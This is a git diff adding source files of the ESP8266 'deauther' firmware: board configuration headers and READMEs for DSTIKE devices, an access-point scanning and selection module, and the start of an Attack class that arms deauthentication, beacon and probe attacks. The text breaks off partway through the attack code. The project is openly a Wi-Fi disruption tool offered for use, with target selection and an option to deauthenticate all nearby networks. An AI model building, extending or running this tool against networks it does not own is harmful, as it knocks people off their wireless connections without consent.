\ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h new file mode 100755 index 0000000..345b7fd --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h @@ -0,0 +1,26 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED + +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md new file mode 100755 index 0000000..0163a36 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md @@ -0,0 +1,18 @@ +# DSTIKE Deauther OLED v2 - v3 + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 16 | +| LED G | disabled | +| LED B | GPIO 2 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h new file mode 100755 index 0000000..19900a6 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h @@ -0,0 +1,26 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md new file mode 100755 index 0000000..2bda2ad --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther OLED v3.5, v4 & DSTIKE Deauth Monster + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h new file mode 100755 index 0000000..f3a5e25 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h @@ -0,0 +1,25 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 4 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md new file mode 100755 index 0000000..c6fe1de --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md @@ -0,0 +1,17 @@ +# DSTIKE USB Deauther v2 + +| | | +| - | - | +| LED Type | Neopixel (WS2812b) | +| LED Pin | GPIO 4 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up | disabled | +| Button Down | disabled | +| Button A | disabled | +| Button B | disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h new file mode 100755 index 0000000..74ee455 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h @@ -0,0 +1,28 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED +#define HIGHLIGHT_LED 16 + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRBW + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md new file mode 100755 index 0000000..7f33fb7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther Wristband and Deauther Mini + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | 16 | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/Default/A_config.h b/enp8266/esp8266_deauther-master/configs/Default/A_config.h new file mode 100755 index 0000000..a555ee9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/Default/A_config.h @@ -0,0 +1,83 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +//#define DEFAULT_SSID "pwned" +//#define HIGHLIGHT_LED 16 + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define DIGITAL_LED +//#define RGB_LED +//#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = +*/ +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/Default/README.md b/enp8266/esp8266_deauther-master/configs/Default/README.md new file mode 100755 index 0000000..7c900fd --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/Default/README.md @@ -0,0 +1,20 @@ +# Default Config +Default configuration for all boards without using a display or RGB LED. +The display can be enabled over the settings. + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 2 | +| LED G | disabled | +| LED B | GPIO 16 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 14 (D5) | +| Button Down | GPIO 12 (D6) | +| Button A | GPIO 13 (D7) | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h new file mode 100755 index 0000000..1590022 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h @@ -0,0 +1,29 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +#define DEFAULT_SSID "Dickbutt " + bytesToStr(&(settings.getMacAP()[3]), 3) + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED + +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 255 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md new file mode 100755 index 0000000..7dc0ce1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md @@ -0,0 +1,22 @@ +# MrRobotBadge Dickbutt Shitty Addon + +-> https://twitter.com/MrRobotBadge + +Has a default SSID "Dickbutt 00:11:22" (00:11:22 = last 3 bytes of the MAC address) + +| | | +| - | - | +| LED Type | Digital | +| LED R | disabled | +| LED G | disabled | +| LED B | 2 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 14 (D5) | +| Button Down | GPIO 12 (D6) | +| Button A | GPIO 13 (D7) | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/README.md b/enp8266/esp8266_deauther-master/configs/README.md new file mode 100755 index 0000000..bdedeca --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/README.md @@ -0,0 +1,26 @@ +# Config Files + +Here you find a bunch of modified config files for different boards. +The default config should be fine for all boards that don't have a display or a RGB LED (like the NodeMCU). + +Copy the `A_config.h` file and paste it in the Arduino sektch and replace the default config file. + +- [Default Config (NodeMCU, Wemos d1 mini, ...)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) + +- DSTIKE Deauther (without OLED) + - [DSTIKE Deauther v1, v2, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) + - [DSTIKE Deauther v3.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h) +- DSTIKE Deauther OLED + - [DSTIKE Deauther OLED v1, v1.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1_v1.5/A_config.h) + - [DSTIKE Deauther OLED v1.5S (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1.5S/A_config.h) + - [DSTIKE Deauther OLED v2, v2.5, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h) + - [DSTIKE Deauther OLED v3.5, v4](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h) + - [DSTIKE Deauther OLED Mini](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h) +- [DSTIKE Deauther Wristband](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h) +- [DSTIKE Deauther Monster](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h) +- [DSTIKE Deauther Boy](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_Boy/A_config.h) +- [DSTIKE NodeMCU-07 v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) +- [DSTIKE NodeMCU-07 v2](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h) +- [DSTIKE USB Deauther v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) +- [DSTIKE USB Deauther v2 (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_USB_Deauther_v2/A_config.h) +- [DSTIKE D-duino with LED Ring Shield](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h) diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h b/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h new file mode 100755 index 0000000..e86da7a --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h @@ -0,0 +1,83 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +//#define DEFAULT_SSID "pwned" +//#define HIGHLIGHT_LED 16 + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define DIGITAL_LED +//#define RGB_LED +//#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = +*/ +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp new file mode 100755 index 0000000..0705a51 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp @@ -0,0 +1,311 @@ +#include "Accesspoints.h" + +Accesspoints::Accesspoints() { + list = new SimpleList; +} + +void Accesspoints::sort() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; + + if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::sortAfterChannel() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; + + if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::add(uint8_t id, bool selected) { + list->add(AP{ id, selected }); + changed = true; +} + +void Accesspoints::printAll() { + prntln(AP_HEADER); + int c = count(); + + if (c == 0) prntln(AP_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Accesspoints::printSelected() { + prntln(AP_HEADER); + int max = selected(); + + if (selected() == 0) { + prntln(AP_NO_AP_SELECTED); + return; + } + int c = count(); + int j = 0; + + for (int i = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Accesspoints::print(int num) { + print(num, true, true); +} + +void Accesspoints::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(AP_TABLE_HEADER); + prntln(AP_TABLE_DIVIDER); + } + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) { + prntln(AP_TABLE_DIVIDER); + } +} + +String Accesspoints::getSSID(int num) { + if (!check(num)) return String(); + + if (getHidden(num)) { + return str(AP_HIDDEN); + } else { + String ssid = WiFi.SSID(getID(num)); + ssid = ssid.substring(0, 32); + ssid = fixUtf8(ssid); + return ssid; + } +} + +String Accesspoints::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +uint8_t Accesspoints::getCh(int num) { + if (!check(num)) return 0; + + return WiFi.channel(getID(num)); +} + +int Accesspoints::getRSSI(int num) { + if (!check(num)) return 0; + + return WiFi.RSSI(getID(num)); +} + +uint8_t Accesspoints::getEnc(int num) { + if (!check(num)) return 0; + + return WiFi.encryptionType(getID(num)); +} + +String Accesspoints::getEncStr(int num) { + if (!check(num)) return String(); + + switch (getEnc(num)) { + case ENC_TYPE_NONE: + return String(DASH); + + break; + + case ENC_TYPE_WEP: + return str(AP_WEP); + + break; + + case ENC_TYPE_TKIP: + return str(AP_WPA); + + break; + + case ENC_TYPE_CCMP: + return str(AP_WPA2); + + break; + + case ENC_TYPE_AUTO: + return str(AP_AUTO); + + break; + } + return String(QUESTIONMARK); +} + +String Accesspoints::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t* Accesspoints::getMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(getID(num)); +} + +String Accesspoints::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Accesspoints::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(getMac(num)); +} + +bool Accesspoints::getHidden(int num) { + if (!check(num)) return false; + + return WiFi.isHidden(getID(num)); +} + +bool Accesspoints::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Accesspoints::getID(int num) { + if (!check(num)) return -1; + + return list->get(num).id; +} + +void Accesspoints::select(int num) { + if (!check(num)) return; + + internal_select(num); + + prnt(AP_SELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + + prnt(AP_DESELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::remove(int num) { + if (!check(num)) return; + + prnt(AP_REMOVED); + prntln(getSSID(num)); + + internal_remove(num); + + changed = true; +} + +void Accesspoints::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Accesspoints::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Accesspoints::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Accesspoints::selectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); + prntln(AP_SELECTED_ALL); + changed = true; +} + +void Accesspoints::deselectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); + prntln(AP_DESELECTED_ALL); + changed = true; +} + +void Accesspoints::removeAll() { + while (count() > 0) internal_remove(0); + prntln(AP_REMOVED_ALL); + changed = true; +} + +int Accesspoints::find(uint8_t id) { + int s = list->size(); + + for (int i = 0; i < s; i++) { + if (list->get(i).id == id) return i; + } + return -1; +} + +int Accesspoints::count() { + return list->size(); +} + +int Accesspoints::selected() { + int c = 0; + + for (int i = 0; i < list->size(); i++) c += list->get(i).selected; + return c; +} + +bool Accesspoints::check(int num) { + if (internal_check(num)) return true; + + prnt(AP_NO_AP_ERROR); + prntln((String)num); + return false; +} + +bool Accesspoints::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Accesspoints::internal_select(int num) { + list->replace(num, AP{ list->get(num).id, true }); +} + +void Accesspoints::internal_deselect(int num) { + list->replace(num, AP{ list->get(num).id, false }); +} + +void Accesspoints::internal_remove(int num) { + list->remove(num); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h new file mode 100755 index 0000000..84cc3a0 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h @@ -0,0 +1,81 @@ +#ifndef Accesspoints_h +#define Accesspoints_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Names.h" + +extern Names names; + +extern String searchVendor(uint8_t* mac); +extern String leftRight(String a, String b, int len); +extern String fixUtf8(String str); +extern String bytesToStr(uint8_t* b, uint32_t size); + +struct AP { + uint8_t id; + bool selected; +}; + +class Accesspoints { + public: + Accesspoints(); + + void sort(); + void sortAfterChannel(); + + void add(uint8_t id, bool selected); + + void print(int num); + void print(int num, bool header, bool footer); + + void select(int num); + void deselect(int num); + void remove(int num); + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + String getSSID(int num); + String getNameStr(int num); + String getEncStr(int num); + String getMacStr(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + uint8_t getEnc(int num); + uint8_t getID(int num); + int getRSSI(int num); + uint8_t* getMac(int num); + bool getHidden(int num); + bool getSelected(int num); + + int find(uint8_t id); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + SimpleList* list; + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_remove(int num); +}; + +#endif // ifndef Accesspoints_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp new file mode 100755 index 0000000..a3fd957 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp @@ -0,0 +1,458 @@ +#include "Attack.h" + +Attack::Attack() { + getRandomMac(mac); + + if (settings.getBeaconInterval()) { + // 1s beacon interval + beaconPacket[32] = 0xe8; + beaconPacket[33] = 0x03; + } else { + // 100ms beacon interval + beaconPacket[32] = 0x64; + beaconPacket[33] = 0x00; + } + + deauth.time = currentTime; + beacon.time = currentTime; + probe.time = currentTime; +} + +void Attack::start() { + stop(); + prntln(A_START); + attackTime = currentTime; + attackStartTime = currentTime; + accesspoints.sortAfterChannel(); + stations.sortAfterChannel(); + running = true; +} + +void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { + Attack::beacon.active = beacon; + Attack::deauth.active = deauth || deauthAll; + Attack::deauthAll = deauthAll; + Attack::probe.active = probe; + + Attack::output = output; + Attack::timeout = timeout; + + // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && + // scan.countSelected() > 0)){ + if (beacon || probe || deauthAll || deauth) { + start(); + } else { + prntln(A_NO_MODE_ERROR); + accesspoints.sort(); + stations.sort(); + stop(); + } +} + +void Attack::stop() { + if (running) { + running = false; + deauthPkts = 0; + beaconPkts = 0; + probePkts = 0; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.maxPkts = 0; + beacon.maxPkts = 0; + probe.maxPkts = 0; + packetRate = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc 